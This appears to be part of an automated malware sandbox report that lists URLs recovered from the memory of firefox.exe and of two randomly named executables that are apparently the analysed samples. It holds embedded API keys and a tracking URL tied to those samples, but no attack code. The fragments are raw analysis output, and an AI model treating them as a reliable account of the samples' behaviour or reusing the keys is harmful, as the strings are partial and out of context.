Source: firefox.exe, 00000019.00000003.3231631580.000001E178123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3414542213.00001008BF604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000019.00000002.3406841094.000001E177A84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3414277490.0000077297B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3160757201.000001E16E257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3338221012.000001E16D900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3160103632.000001E16E23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3417985347.000035D7D5704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159161146.000001E16E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3360459881.000001E16FF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?Z
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3153599163.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3156061830.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3236033951.000001E1781FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3340221551.000001E16DC73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3313377233.000001E169E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sget
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3340221551.000001E16DC73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.ui.interaction.all_tabs_panel_dragstart_ta
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3412275084.000001E178A0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3281437767.000001E16F375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3350454702.000001E16E8D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsSELEC
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Script
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3414733243.00001479B8304000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3327903366.000001E16BE66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3316015574.000001E16A1AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E1778A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3370172652.000001E1708D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabbrowser.newtabpage.activity-stream.discoverystr
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morechrome://global/skin/icons/pocket.svg
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-learn-more
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsEnable
Source: firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationssetCaretVisibilityDuringSelection
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000019.00000002.3338438924.000001E16DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000019.00000003.3231631580.000001E178123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000019.00000002.3408848353.000001E178103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000019.00000002.3408848353.000001E178103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000019.00000003.3160757201.000001E16E257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3338221012.000001E16D900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.3160103632.000001E16E23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159161146.000001E16E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsWidgets
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650experimental-features-ime-search-descriptionGo
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A325000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3414542213.00001008BF604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000019.00000002.3406841094.000001E177A8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000019.00000002.3334463608.000001E16D7C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/get
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: 194fcc03d1.exe, 00000009.00000002.3658430025.0000000024111000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334964070.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3332306839.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3336326021.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3353094912.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3341331944.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3347292005.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3343840223.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3330875172.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3337881187.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3339658093.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3333555796.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3352543746.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3335509270.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3350539115.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351341626.0000000001661000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3331737743.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3344628486.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3334373074.0000000001662000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3289641174.0000000001674000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3351939938.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000019.00000002.3327903366.000001E16BEDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3411102048.000001E17837F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitConfiguration
Source: firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000019.00000003.3260498209.000001E177A1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3406841094.000001E177A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3244959555.000001E177A1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000019.00000002.3408848353.000001E178122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000019.00000002.3353622978.000001E16F14F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%WHERE
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000019.00000002.3418151410.00003939FE100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3378267040.000001E171707000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3418318329.0000396198004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000019.00000002.3418151410.00003939FE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZ
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3378267040.000001E171707000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com2e1fac17-9068-4561-b72a-c1e101be76f9extensions.langpacks.signatures
